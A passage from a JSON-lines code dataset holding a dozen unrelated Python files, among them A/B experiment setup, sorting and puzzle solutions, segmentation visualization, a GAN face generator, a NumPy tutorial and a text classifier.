[\n \"availabilityInfo\"\n ]\n },\n \"unit\": {\n \"op\": \"get\",\n \"var\": \"userId\"\n },\n \"op\": \"uniformChoice\"\n }\n }\n ]\n})\n\ncsc.add_experiment('test', 'epe-2', 'colorTest', 8, {\n \"op\": \"seq\",\n \"seq\": [\n {\n \"op\": \"set\",\n \"var\": \"colorSwatchTest\",\n \"value\": {\n \"choices\": {\n \"op\": \"array\",\n \"values\": [\n \"control\",\n \"circle\"\n ]\n },\n \"unit\": {\n \"op\": \"get\",\n \"var\": \"userId\"\n },\n \"op\": \"uniformChoice\"\n }\n }\n ]\n})\n\ncsc.add_experiment('test', 'loy-1', 'checkoutTest', 10, {\n \"op\": \"seq\",\n \"seq\": [\n {\n \"op\": \"set\",\n \"var\": \"nontenderCheckoutCopy\",\n \"value\": {\n \"choices\": {\n \"op\": \"array\",\n \"values\": [\n \"Control\",\n \"var1\",\n \"var2\"\n ]\n },\n \"unit\": {\n \"op\": \"get\",\n \"var\": \"userId\"\n },\n \"op\": \"uniformChoice\"\n }\n }\n ]\n})\n\ncur = csc.client.test_database.test.find()\nfor doc in cur:\n print(doc)\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"318907034","text":"# Licensed to the .NET Foundation under one or more agreements.\n# The .NET Foundation licenses this file to you under the Apache 2.0 License.\n# See the LICENSE file in the project root for more information.\n\nimport importlib\nimport os\nimport sys\nimport unittest\n\ntemplate = \"\"\"# Licensed to the .NET Foundation under one or more agreements.\n# The .NET Foundation licenses this file to you under the Apache 2.0 License.\n# See the LICENSE file in the project root for more information.\n\n##\n## Run selected tests from {name} from StdLib\n##\n\nimport unittest\nimport sys\n\nfrom iptest import run_test\n\nimport test.{name}\n\ndef load_tests(loader, standard_tests, pattern):\n if sys.implementation.name == 'ironpython':\n suite = unittest.TestSuite()\n{tests}\n return suite\n\n else:\n return loader.loadTestsFromModule(test.{name}, pattern)\n\nrun_test(__name__)\n\"\"\"\n\nif __name__ == \"__main__\":\n name = sys.argv[1]\n\n sys.path.insert(0, os.path.abspath(os.path.join(__file__, \"../../Src/StdLib/Lib\")))\n module = importlib.import_module(\"test.{name}\".format(name=name))\n\n tests = []\n for suite in unittest.defaultTestLoader.loadTestsFromModule(module):\n for test in suite:\n tests.append(\" suite.addTest({}('{}'))\".format(unittest.util.strclass(test.__class__), test._testMethodName))\n\n with open(name + \"_stdlib.py\", \"w\") as f:\n f.write(template.format(name=name, tests=\"\\n\".join(tests)))\n","sub_path":"Tests/gen_stdlib_test.py","file_name":"gen_stdlib_test.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"75669575","text":"from revolcal import RDate\nimport datetime\n\n\n\nif __name__ == \"__main__\" :\n import sys\n ldate = RDate.today()\n if len(sys.argv) == 2:\n ldate = None\n if sys.argv[1].startswith(\"test\"):\n tests()\n exit()\n try:\n delay = int(sys.argv[1])\n tdate = datetime.date.today() + datetime.timedelta(delay)\n ldate=RDate(tdate.year, tdate.month, tdate.day)\n except ValueError :\n print(\"value error\")\n if len(sys.argv) == 4:\n ldate=RDate(int(sys.argv[1]),\n int(sys.argv[2]),\n int(sys.argv[3]))\n\n print(\"{0} {0:%rA %rd %rB [Decade %rW] an %rY(%ry) %rf}\".format(ldate))\n\n","sub_path":"test_fetes.py","file_name":"test_fetes.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"206112330","text":"import math\r\nimport sys\r\n\r\nsys.stdin = open('B-large.in')\r\nsys.stdout = open('B-large.out', 'w')\r\n\r\nT = int(input())\r\nfor ti in range(1, T + 1):\r\n D = int(input())\r\n P = list(map(int, input().split()))\r\n P.sort(reverse=True)\r\n\r\n minutes = 1000\r\n for i in range(1, max(P) + 1):\r\n special = 0\r\n for p in P:\r\n if p > i:\r\n special += math.ceil(p / i) - 1\r\n minutes = min(minutes, special + i)\r\n\r\n print('Case #{}: {}'.format(ti, minutes))\r\n","sub_path":"solutions_python/Problem_156/624.py","file_name":"624.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"29268396","text":"'''\n\n进程锁\n\n火车票\n\n'''\n\nfrom multiprocessing import Process\nimport json\nimport time\n\n\ndef show(i):\n with open('ticket',encoding='utf-8')as f:\n tick_num=json.load(f)\n print('%s余票:%s'%(i,tick_num['ticket']))\n\ndef buy_tick(i):\n with open('ticket', encoding='utf-8')as f:\n tick_num = json.load(f)\n time.sleep(0.1)\n if tick_num['ticket']>0:\n tick_num['ticket']-=1\n print('买到票了%s'%i)\n else:\n print('没有买到票')\n time.sleep(0.1)\n with open('ticket','w')as f1:\n json.dump(tick_num,f1)\n\n\nif __name__ == '__main__':\n '''\n 两个子进程都是异步的\n 每个子进程不一定是先后执行的就会造成火车票数据错乱\n \n \n '''\n for i in range(10):\n p=Process(target=show,args=(i,))\n p.start()\n for a in range(10):\n p1=Process(target=buy_tick,args=(a,))\n p1.start()","sub_path":"day36/day36k.py","file_name":"day36k.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"605337608","text":"import sys\n\nA=[]\n\nfor line in sys.stdin:\n for a in line.split():\n A.append(int(a))\n\ndef InsertionSort(A):\n if len(A) == 0:\n return None\n if len(A) == 1:\n return A\n i = 1\n while i < len(A):\n j = i-1\n while A[j]>A[j+1] and j>=0:\n A[j+1], A[j] = A[j], A[j+1]\n j-=1\n i += 1\n return A\n\nprint(InsertionSort(A))\n","sub_path":"Algorithms and Data Structures/Python Exercises/Insertion_sort.py","file_name":"Insertion_sort.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"264430444","text":"from isis.dialog_search_text import Dialog_Search_Text\nfrom isis.data_model.table import Table\nfrom sarah.acp_bson import Client\n\n\nclass Search_Item(Dialog_Search_Text):\n def __init__(self, parent=None):\n Dialog_Search_Text.__init__(self, parent)\n self.agent_itzamara = None\n self.store = None\n self.search_by_sku = True\n self.search_by_code_ref = True\n self.agent_itzamara = Client(Search_Item.APP_ID, 'itzamara')\n\n def searching(self, e):\n if self.search_by_sku:\n msg = {'type_message': 'find_one', 'type': 'itzamara/item', 'query': {'sku': e['text']}}\n answer = self.agent_itzamara(msg)\n if 'result' in answer and answer['result'] is not None:\n e['selected'] = answer['result']\n return\n if self.search_by_code_ref:\n msg = {'type_message': 'request', 'request_type': 'get', 'get': 'itzamara/item_related_to_code_ref',\n 'code_ref': e.text}\n answer = self.agent_itzamara(msg)\n if 'result' in answer and answer.result is not None:\n e.selected = answer.result\n return\n msg = {'type_message': 'find', 'type': 'itzamara/item', 'query': {'description': {'!like': e['text']}}}\n if self.store is not None:\n msg['query']['store'] = self.store\n answer = self.agent_itzamara.send_msg(msg)\n e['list'] = answer['result']\n table = Table()\n e['table'] = table\n table.columns.add('sku', str)\n table.columns.add('description', str)\n table.datasource = e.list\n\n APP_ID = 'isis.itzamara.Search_Item'\n","sub_path":"isis/itzamara/search_item.py","file_name":"search_item.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"203452025","text":"import logging\nimport math\nimport re\nimport warnings\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image\nfrom matplotlib import pyplot as plt, gridspec, cm, colors\nimport csv\n\nfrom utils.utils import unscale, unnormalize, get_key_def\nfrom utils.geoutils import create_new_raster_from_base\n\nimport matplotlib\n\nmatplotlib.use('Agg')\n\nlogging.getLogger(__name__)\n\n\ndef grid_vis(input_, output, heatmaps_dict, label=None, heatmaps=True):\n \"\"\" Create a grid with PIL images and titles\n :param input_: (tensor) input array as pytorch tensor, e.g. as returned by dataloader\n :param output: (tensor) output array as pytorch tensor, e.g. as returned by dataloader\n :param heatmaps_dict: (dict) Dictionary of heatmaps where key is grayscale value of class and value a dict {'class_name': (str), 'heatmap_PIL': (PIL object))\n :param label: (tensor) label array as pytorch tensor, e.g. as returned by dataloader (optional)\n :param heatmaps: (bool) if True, include heatmaps in grid\n :return: Saves .png to disk\n \"\"\"\n\n list_imgs_pil = [input_, label, output] if label is not None else [input_, output]\n list_titles = ['input', 'label', 'output'] if label is not None else ['input', 'output']\n\n num_tiles = (len(list_imgs_pil) + len(heatmaps_dict))\n height = math.ceil(num_tiles/4)\n width = num_tiles if num_tiles < 4 else 4\n plt.figure(figsize=(width*6, height*6))\n grid_spec = gridspec.GridSpec(height, width)\n\n if heatmaps:\n for key in heatmaps_dict.keys():\n list_imgs_pil.append(heatmaps_dict[key]['heatmap_PIL'])\n list_titles.append(heatmaps_dict[key]['class_name'])\n\n assert len(list_imgs_pil) == len(list_titles)\n for index, zipped in enumerate(zip(list_imgs_pil, list_titles)):\n img, title = zipped\n plt.subplot(grid_spec[index])\n plt.imshow(img)\n plt.grid(False)\n plt.axis('off')\n plt.title(title)\n plt.tight_layout()\n\n return plt\n\n\ndef vis_from_batch(vis_params,\n inputs,\n outputs,\n batch_index,\n vis_path,\n labels=None,\n dataset='',\n ep_num=0,\n scale=None,\n debug=False):\n \"\"\" Provide indiviual input, output and label from batch to visualization function\n :param vis_params: (Dict) parameters useful during visualization\n :param inputs: (tensor) inputs as pytorch tensors with dimensions (batch_size, channels, width, height)\n :param outputs: (tensor) outputs as pytorch tensors with dimensions (batch_size, channels, width, height)\n :param batch_index: (int) index of batch inside epoch\n :param vis_path: path where visualisation images will be saved\n :param labels: (tensor) labels as pytorch tensors with dimensions (batch_size, channels, width, height)\n :param dataset: name of dataset for file naming purposes (ex. 'tst')\n :param ep_num: (int) number of epoch for file naming purposes\n :param debug: (bool) if True, some debug features will be activated\n :return:\n \"\"\"\n labels = [None]*(len(outputs)) if labels is None else labels # Creaty empty list of labels to enable zip operation below if no label\n\n for batch_samp_index, zipped in enumerate(zip(inputs, labels, outputs)):\n epoch_samp_index = batch_samp_index + len(inputs) * batch_index\n input_, label, output = zipped\n vis(vis_params, input_, output,\n vis_path=vis_path,\n sample_num=epoch_samp_index+1,\n label=label,\n dataset=dataset,\n ep_num=ep_num,\n scale=scale,\n debug=debug)\n\n\ndef vis(vis_params,\n input_,\n output,\n vis_path,\n sample_num=0,\n label=None,\n dataset='',\n ep_num=0,\n inference_input_path=None,\n scale=None,\n debug=False):\n \"\"\"saves input, output and label (if given) as .png in a grid or as individual pngs\n :param input_: (tensor) input array as pytorch tensor, e.g. as returned by dataloader\n :param output: (tensor) output array as pytorch tensor before argmax, e.g. as returned by dataloader\n :param vis_path: path where visualisation images will be saved\n :param sample_num: index of sample if function is from for loop iterating through a batch or list of images.\n :param label: (tensor) label array as pytorch tensor, e.g. as returned by dataloader. Optional.\n :param dataset: (str) name of dataset arrays belong to. For file-naming purposes only.\n :param ep_num: (int) number of epoch arrays are inputted from. For file-naming purposes only.\n :param inference_input_path: (Path) path to input image on which inference is being performed. If given, turns «inference» bool to True below.\n :return: saves color images from input arrays as grid or as full scale .png\n \"\"\"\n # TODO: Temporary fix, need to be discuss, `input_` is a list if the initial input as NIR with the RGB at [0].\n # The `squeeze` fonction cut the useless dimension, append in inference.\n input_ = np.squeeze(input_[0]) if type(input_) is list else np.squeeze(input_)\n\n assert vis_path.parent.is_dir()\n vis_path.mkdir(exist_ok=True)\n single_class_mode = False\n if not vis_params[\n 'inference_input_path']: # FIXME: function parameters should not come in as different types if inference or not.\n input_ = input_.cpu().permute(1, 2, 0).numpy() # channels last\n if output.shape[0] == 1:\n output = torch.sigmoid(output) # use sigmoid for single class\n single_class_mode = True\n else:\n output = F.softmax(output, dim=0) # use softmax for multiclass (note: not applied for inference)\n output = output.detach().cpu().permute(1, 2, 0).numpy() # channels last\n if label is not None:\n label_copy = label.cpu().numpy().copy()\n if vis_params['ignore_index'] < 0:\n new_ignore_index = 255\n # Convert all pixels with ignore_index values to 255 to make sure it is last in order of values.\n label_copy[label_copy == vis_params['ignore_index']] = new_ignore_index\n\n if vis_params['mean'] and vis_params['std']:\n input_ = unnormalize(input_img=input_, mean=vis_params['mean'], std=vis_params['std'])\n input_ = unscale(img=input_, float_range=(scale[0], scale[1]), orig_range=(0, 255)) if scale else input_\n mode = 'RGB' # https://pillow.readthedocs.io/en/3.1.x/handbook/concepts.html#concept-modes\n if 1 <= input_.shape[2] <= 2:\n input_ = np.squeeze(input_[:, :, :1], axis=2) # take first band (will become grayscale image)\n mode = 'L'\n elif input_.shape[2] >= 3:\n input_ = input_[:, :, :3] # take three first bands assuming they are RGB in correct order\n\n input_PIL = Image.fromarray(input_.astype(np.uint8), mode=mode) # TODO: test this with grayscale input.\n\n # Give value of class to band with highest value in final inference\n\n if single_class_mode:\n output_acv = np.squeeze(output, axis=2).astype(np.uint8)\n else:\n output_acv = np.argmax(output, axis=2).astype(np.uint8) # Flatten along channels axis. Convert to 8bit\n\n # Define colormap and names of classes with respect to grayscale values\n classes, cmap = colormap_reader(output, vis_params['colormap_file'], default_colormap='Set1')\n\n heatmaps_dict = heatmaps_to_dict(output, classes, inference=inference_input_path,\n debug=debug) # Prepare heatmaps from softmax output\n\n # Convert output and label, if provided, to RGB with matplotlib's colormap object\n output_acv_color = cmap(output_acv)\n output_acv_PIL = Image.fromarray((output_acv_color[:, :, :3] * 255).astype(np.uint8), mode='RGB')\n if not inference_input_path and label is not None:\n label_color = cmap(label_copy)\n label_PIL = Image.fromarray((label_color[:, :, :3] * 255).astype(np.uint8), mode='RGB')\n else:\n label_PIL = None\n\n if inference_input_path is not None:\n if debug and len(np.unique(output_acv)) == 1:\n warnings.warn(f'Inference contains only {np.unique(output_acv)} value. Make sure data scale '\n f'{scale} is identical with scale used for training model.')\n output_name = vis_path.joinpath(f\"{inference_input_path.stem}_inference.tif\")\n create_new_raster_from_base(inference_input_path, output_name, output_acv)\n\n if vis_params['heatmaps_inf']:\n for key in heatmaps_dict.keys():\n heatmap = np.array(heatmaps_dict[key]['heatmap_PIL'])\n class_name = heatmaps_dict[key]['class_name']\n heatmap_name = vis_path.joinpath(f\"{inference_input_path.stem}_inference_heatmap_{class_name}.tif\")\n create_new_raster_from_base(inference_input_path, heatmap_name, heatmap)\n elif vis_params['grid']: # SAVE PIL IMAGES AS GRID\n grid = grid_vis(input_PIL, output_acv_PIL, heatmaps_dict, label=label_PIL, heatmaps=vis_params['heatmaps'])\n grid.savefig(vis_path.joinpath(f'{dataset}_{sample_num:03d}_ep{ep_num:03d}.png'))\n plt.close()\n else: # SAVE PIL IMAGES DIRECTLY TO FILE\n if not vis_path.joinpath(f'{dataset}_{sample_num:03d}_satimg.jpg').is_file():\n input_PIL.save(vis_path.joinpath(f'{dataset}_{sample_num:03d}_satimg.jpg'))\n if not inference_input_path and label is not None:\n label_PIL.save(vis_path.joinpath(f'{dataset}_{sample_num:03d}_label.png')) # save label\n output_acv_PIL.save(vis_path.joinpath(f'{dataset}_{sample_num:03d}_output_ep{ep_num:03d}.png'))\n if vis_params['heatmaps']: # TODO: test this.\n for key in heatmaps_dict.keys():\n heatmap = heatmaps_dict[key]['heatmap_PIL']\n class_name = heatmaps_dict[key]['class_name']\n heatmap.save(vis_path.joinpath(f\"{dataset}_{sample_num:03d}_output_ep{ep_num:03d}_heatmap_{class_name}.png\")) # save heatmap\n\n\ndef heatmaps_to_dict(output, classes=[], inference=False, debug=False):\n ''' Store heatmap into a dictionary\n :param output: softmax tensor\n :return: dictionary where key is value of class and value is numpy array\n '''\n heatmaps_dict = {}\n classes = range(output.shape[2]) if len(classes) == 0 else classes\n for i in range(output.shape[2]): # for each channel (i.e. class) in output\n perclass_output = output[:, :, i]\n if inference: # Don't color heatmap if in inference\n if debug:\n logging.info(f'Heatmap class: {classes[i]}\\n')\n logging.info(f'List of unique values in heatmap: {np.unique(np.uint8(perclass_output * 255))}\\n')\n perclass_output_PIL = Image.fromarray(np.uint8(perclass_output*255))\n else: # https://stackoverflow.com/questions/10965417/how-to-convert-numpy-array-to-pil-image-applying-matplotlib-colormap\n perclass_output_PIL = Image.fromarray(np.uint8(cm.get_cmap('inferno')(perclass_output) * 255))\n heatmaps_dict[i] = {'class_name': classes[i], 'heatmap_PIL': perclass_output_PIL}\n\n return heatmaps_dict\n\n\ndef colormap_reader(output, colormap_path=None, default_colormap='Set1'):\n \"\"\"\n :param colormap_path: csv file (with header) containing 3 columns (input grayscale value, classes, html colors (#RRGGBB))\n :return: list of classes and list of html colors to map to grayscale values associated with classes\n \"\"\"\n if colormap_path is not None:\n assert Path(colormap_path).is_file(), f'Could not locate {colormap_path}'\n input_val = []\n classes_list = ['background']\n html_colors = ['#000000']\n with open(colormap_path, 'rt') as file:\n reader = csv.reader(file)\n next(reader) # Skip header\n rows = list(reader)\n input_val.extend([int(row[0]) for row in rows])\n csv_classes = [row[1] for row in rows] # Take second element in row. Should be class name\n csv_html_colors = [row[2] for row in rows] # Take third element in row. Should be hex color code\n sorted_classes = [x for _, x in sorted(zip(input_val, csv_classes))] # sort according to grayscale values order\n sorted_colors = [x for _, x in sorted(zip(input_val, csv_html_colors))]\n for color in sorted_colors:\n match = re.search(r'^#(?:[0-9a-fA-F]{3}){1,2}$', color)\n assert match, f'Submitted color {color} does not match HEX color code pattern'\n classes_list.extend(sorted_classes)\n html_colors.extend(sorted_colors)\n assert len(html_colors) == len(classes_list) >= output.shape[2], f'Not enough colors and class names for number of classes in output'\n html_colors.append('white') # for ignore_index values in labels. #TODO: test this with a label containt ignore_index values\n cmap = colors.ListedColormap(html_colors)\n else:\n classes_list = list(range(0, output.shape[2])) # TODO: since list of classes are only useful for naming each heatmap, this list could be inside the heatmaps_dict, e.g. {1: {heatmap: perclass_output_PIL, class_name: 'roads'}, ...}\n cmap = cm.get_cmap(default_colormap)\n\n return classes_list, cmap\n","sub_path":"utils/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":13351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"405763111","text":"# Check permutation: Given two strings, write a method to decide if one is a permuation of the other\n\n\ndef chk_permutation1(str1, str2):\n if len(str1) == len(str2):\n d = {}\n e = {}\n for char in str1:\n if char in d:\n d[char] += 1\n else:\n d[char] = 1\n for char in str2:\n if char in e:\n e[char] += 1\n else:\n e[char] = 1\n if d == e:\n return True\n return False\n\n\ndef chk_permutation2(str1, str2):\n if len(str1) == len(str2):\n sorted1 = sorted(str1)\n sorted2 = sorted(str2)\n if sorted1 == sorted2:\n return True\n return False\n\n\nprint(chk_permutation1('beBest', 'Beebts'))\nprint(chk_permutation2('beBest', 'Beebts'))\n","sub_path":"algorithms/permutation_chk.py","file_name":"permutation_chk.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"575329672","text":"# coding:utf8\r\n\r\nimport torch as t\r\nimport torchvision as tv\r\nfrom model import NetG, NetD\r\n\r\n\r\n\r\nclass Config(object):\r\n\r\n \"\"\"model: 定义判别器和生成器的初始化参数\"\"\"\r\n nz = 100 # 判别器的输入,即噪声的维度 (1*1*nz)\r\n ngf = 64 # 生成器feature map数\r\n ndf = 64 # 判别器feature map数\r\n \r\n \"\"\"加载数据\"\"\"\r\n # 数据集存放路径(文件夹里只有图片)\r\n data_path = './FaceData/'\r\n # 多进程加载数据所用的进程数('win'中,该值设置为0) \r\n num_workers = 0 \r\n # 数据集中的图片尺寸,图片大小都是固定的,为3*96*96\r\n image_size = 96 \r\n # 小批量值\r\n batch_size = 256\r\n \r\n \"\"\"训练所用到的超参数\"\"\"\r\n # 是否使用GPU\r\n gpu = True \r\n # 训练迭代次数\r\n max_epoch = 1000\r\n # 生成器和判别器的学习率\r\n lr1 = 2e-4 # 生成器的学习率\r\n lr2 = 2e-4 # 判别器的学习率\r\n # 优化器参数: Adam优化器的beta1参数\r\n beta1 = 0.5\r\n # 每1个batch训练一次判别器 \r\n d_every = 1\r\n # 每5个batch训练一次生成器\r\n g_every = 5\r\n \r\n \"\"\"可视化生成器训练过程\"\"\"\r\n # 是否使用visdom可视化\r\n vis = True\r\n # visdom的env名字\r\n env = 'GAN'\r\n # 每间隔plot_every个batch,visdom画图一次\r\n plot_every = 20\r\n # 存在该文件则进入debug模式\r\n debug_file = '/tmp/debuggan'\r\n \r\n \"\"\"保存训练过程中,判别器生成的图片 \"\"\"\r\n # 保存图片的路径\r\n save_path = 'visdom'\r\n # 每save_every个epoch保存一次模型权重和生成的图片,\r\n # 权重文件默认保存在checkpoints, 生成图片默认保存在save_path\r\n save_every = 30\r\n\r\n \"\"\"预训练模型\"\"\"\r\n # netd_path = None \r\n # netg_path = None\r\n netd_path = 'checkpoints/netd.pth'\r\n netg_path = 'checkpoints/netg.pth'\r\n\r\n\r\n \"\"\"使用训练好的生成器,生成图片\"\"\"\r\n # 从512张生成的图片中保存最好的64张\r\n gen_search_num = 512;gen_num = 64\r\n # 噪声均值和方差\r\n gen_mean = 0\r\n gen_std = 1 \r\n # result\r\n gen_img = 'result.png'\r\n\r\n\r\nopt = Config()\r\n\r\n@t.no_grad()\r\ndef generate(**kwargs):\r\n \"\"\"\r\n 随机生成动漫头像,并根据netd的分数选择较好的\r\n \"\"\"\r\n for k_, v_ in kwargs.items():\r\n setattr(opt, k_, v_)\r\n \r\n device=t.device('cuda') if opt.gpu else t.device('cpu')\r\n print(\"device: \",device)\r\n\r\n netg, netd = NetG(opt).eval(), NetD(opt).eval()\r\n\r\n noises = t.randn(opt.gen_search_num, opt.nz, 1, 1).normal_(opt.gen_mean, opt.gen_std)\r\n noises = noises.to(device)\r\n\r\n map_location = lambda storage, loc: storage\r\n netd.load_state_dict(t.load(opt.netd_path, map_location=map_location))\r\n netg.load_state_dict(t.load(opt.netg_path, map_location=map_location))\r\n netd.to(device)\r\n netg.to(device)\r\n\r\n # 生成图片,并计算图片在判别器的分数\r\n fake_img = netg(noises)\r\n scores = netd(fake_img).detach()\r\n\r\n # 挑选最好的某几张\r\n print(\"fake img\")\r\n indexs = scores.topk(opt.gen_num)[1]\r\n print(\"indexs: \",indexs)\r\n result = []\r\n for ii in indexs:\r\n result.append(fake_img.data[ii])\r\n # 保存图片\r\n print(\"result\")\r\n tv.utils.save_image(t.stack(result), opt.gen_img, normalize=True, value_range=(-1, 1))\r\n \r\nif __name__ == '__main__':\r\n generate()","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"78574548","text":"import numpy as np \n'''\n#mylist = [1,2,3]\n#print(type(mylist))\n\n# transform list in array\n#arr = np.array(mylist)\n#print(arr)\n\nmylist = [[1,2,3],[4,5,6],[7,8,9]] #nested list (list of list)\nmymatrix = np.array(mylist) #2D matrix\nprint(mymatrix)\n\n#mymatrix. # object. pythongive you all tehe possible function to run\n\na = np.arange(0,10,2) #create an array (from-inclusive, to-exclusive, step)\nprint(a)\n\nb = np.zeros((5,5)) #create an array full of zeros ((dimension0= row,dimension1=col,..))\nprint(b) #full of \"0.\" ; the dot means they are floating numbers\n\nc = np.ones((4,4))\nprint(c)\n\nd = np.ones(4)*3 #in Array you can do math --> each values is multyplied by what i want\nd = np.ones(4)/3#in Array you can do math --> each values is multyplied by what i want\nd = np.ones(4)+10#in Array you can do math --> each values is multyplied by what i want\nd = np.ones(4)-10#in Array you can do math --> each values is multyplied by what i want\ne = [1,1,1,1]*3 #this not in list. here you multiply all the list \ne = [1,1,1,1]+10 \nprint(d)\nprint(e)\n\nf = np.linspace(0,10,4) #array (start, stop, number of object youo want ); it ggivr you an equal distance between start and stop\nprint(f)\n\ng = np.eye(5) #1 and 0 matrix in diagonal \nprint(g)\n\n###########################################\n#PART 2\n##############################################\n\n#### RANDOMIZATION FUNCTION \nnp.random.rand(1,3) #uniform distribution of random numbers in array (how many numbers, dimension)\nprint()\n\nnp.random.randn() # standard normal distribution\n\nnp.random.normal #to chose the standard deviation of your normal distributoin\nnp.random.randint() #random numbers between a range ()\n\nnp.random.seed(101) #it's a function to set the starting point for create random umbers. if two people use the same seed they will receive the same random number\na = np.random.rand(4) #here to test the seed function with the video\nprint (a)\n'''\narr = np.arange(25)\nranarr = np.random.randint(0,50,10)\nprint(ranarr)\nprint(ranarr.reshape(5,2)) #reshape function : you can modify the shape of your array (row, col) in base of the size\n\nranarr.max() #give you the max values in array\nranarr.min() #give you the min values in array\nranarr.argmax() #give you the max index(position in the arry) in array\nranarr.argmin() #give you the max (position in the arry) in array\n\nnp.dtype((ranarr)) #to know the type of data in the array\n\n","sub_path":"Pytorch Tutorial-BOOTCAMP/Numpy chapter/2_3_NumPy_Arrys.py","file_name":"2_3_NumPy_Arrys.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"109823641","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 18 10:00:19 2019\r\n\r\n@author: Helena Olafsdottir\r\n\"\"\"\r\nimport numpy as np\r\nimport string\r\nfrom copy import deepcopy\r\n\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.pipeline import make_pipeline\r\nfrom sklearn.metrics import accuracy_score, precision_recall_fscore_support\r\nfrom sklearn.model_selection import train_test_split, cross_val_score\r\n\r\nfrom nltk.corpus import stopwords\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom nltk.stem import WordNetLemmatizer\r\nfrom nltk.stem import PorterStemmer\r\nfrom nltk.tokenize import word_tokenize\r\n \r\nfrom sklearn.svm import LinearSVC\r\nfrom sklearn.linear_model import SGDClassifier,LogisticRegression\r\nfrom sklearn.naive_bayes import BernoulliNB\r\nfrom sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier, NearestCentroid\r\n\r\ndef read_data(file):\r\n \"\"\"\r\n Reads data from a CSV file\r\n Input: file (string) - path to the file to read from \r\n Returns: data from the CSV file\r\n \"\"\"\r\n \r\n X = []\r\n Y = []\r\n Z = []\r\n T = []\r\n R = []\r\n with open(file, encoding='utf-8-sig') as f:\r\n for line in f:\r\n data = line.strip().split('|')\r\n \r\n X.append(data[0])\r\n Y.append(data[1])\r\n Z.append(data[2])\r\n T.append(data[3])\r\n R.append(data[4])\r\n \r\n return X, Y, Z, T, R\r\n\r\ndef stem(sentence):\r\n \"\"\"\r\n Finds the stem of a sentence\r\n Inputs: sentence (string) - sentence to stem\r\n Returns: stem of a sentence\r\n \"\"\"\r\n \r\n token_words = word_tokenize(sentence)\r\n stem_sentence=[] \r\n for word in token_words:\r\n stem_sentence.append(PorterStemmer().stem(word))\r\n stem_sentence.append(\" \")\r\n \r\n return \"\".join(stem_sentence)\r\n\r\n\r\ndef lemma(sentence):\r\n \"\"\"\r\n Finds the lemma of a sentence\r\n Inputs: sentence (string) - sentence to lemmatise\r\n Returns: lemma of a sentence\r\n \"\"\"\r\n \r\n token_words = word_tokenize(sentence)\r\n lemma_sentence = []\r\n for word in token_words:\r\n lemma_sentence.append(WordNetLemmatizer().lemmatize(word))\r\n lemma_sentence.append(\" \")\r\n\r\n return \"\".join(lemma_sentence)\r\n\r\n\r\ndef is_digit(word):\r\n \"\"\"\r\n Checks wether a word is a digit\r\n Inputs: word (string) - word to check\r\n Returns: True or False\r\n \"\"\"\r\n \r\n try:\r\n int(word)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\ndef remove_digits(sentence):\r\n \"\"\"\r\n removes digits from a sentence\r\n Inputs: sentence (string) - sentence to change\r\n Returns: the sentence without digits\r\n \"\"\"\r\n \r\n token_words = word_tokenize(sentence)\r\n digitless_sentence = []\r\n for word in token_words:\r\n if not is_digit(word):\r\n digitless_sentence.append(word)\r\n digitless_sentence.append(\" \")\r\n \r\n return \"\".join(digitless_sentence)\r\n\r\n\r\ndef remove_punctuations(sentence):\r\n \"\"\"\r\n Removes stopwords from a sentence\r\n Inputs: sentence (string) - sentence to change\r\n Returns: sentence without stopwords\r\n \"\"\"\r\n \r\n sentence = sentence.translate(str.maketrans(\"\",\"\", string.punctuation))\r\n return sentence\r\n\r\n\r\n\r\n\r\n##TRAINED ON ALL RELEVANT LEVEL DATA, BUT ONLY VALIDATED ON THE TEST+VALIDATION (Yvalidate input) DATA FROM LEVEL 1\r\ndef second_level_classifier(X, XNoNPL, Z, T, R, Ypred, Xvalidate, XvalidateNoNPL, Yvalidate, Zvalidate, Tvalidate, Rvalidate, level):\r\n \"\"\"\r\n Trains a classifier to classify the sub-categories of \"Development process\"\r\n Inputs: X: all sentences to train on\r\n XNoNPL: orignial sentences, no NPL has been applied to them\r\n Z: 2nd level true label of the training sentences\r\n T: 3rd level true label of the training sentences\r\n R: 4th level true label of the training sentences\r\n Ypred: 1st level label prediction of validation data\r\n Xvalidate: sentences to predict\r\n XvalidateNoNPL: original sentences to predict, no NPL has been applied to them\r\n Zvalidate: 2nd level true label of the validation sentences (labels to predict)\r\n Tvalidate: 3rd level true label of the validation sentences\r\n Rvalidate: 4th level true label of the validation sentences\r\n level: indicates which sub-level we are working with, e.g. \"requirements\", \"system\", etc\r\n Returns: \r\n \"\"\"\r\n \r\n sentences = []; \r\n Xval = []\r\n XvalNoNPL = []\r\n Zval = []\r\n Tval = []\r\n 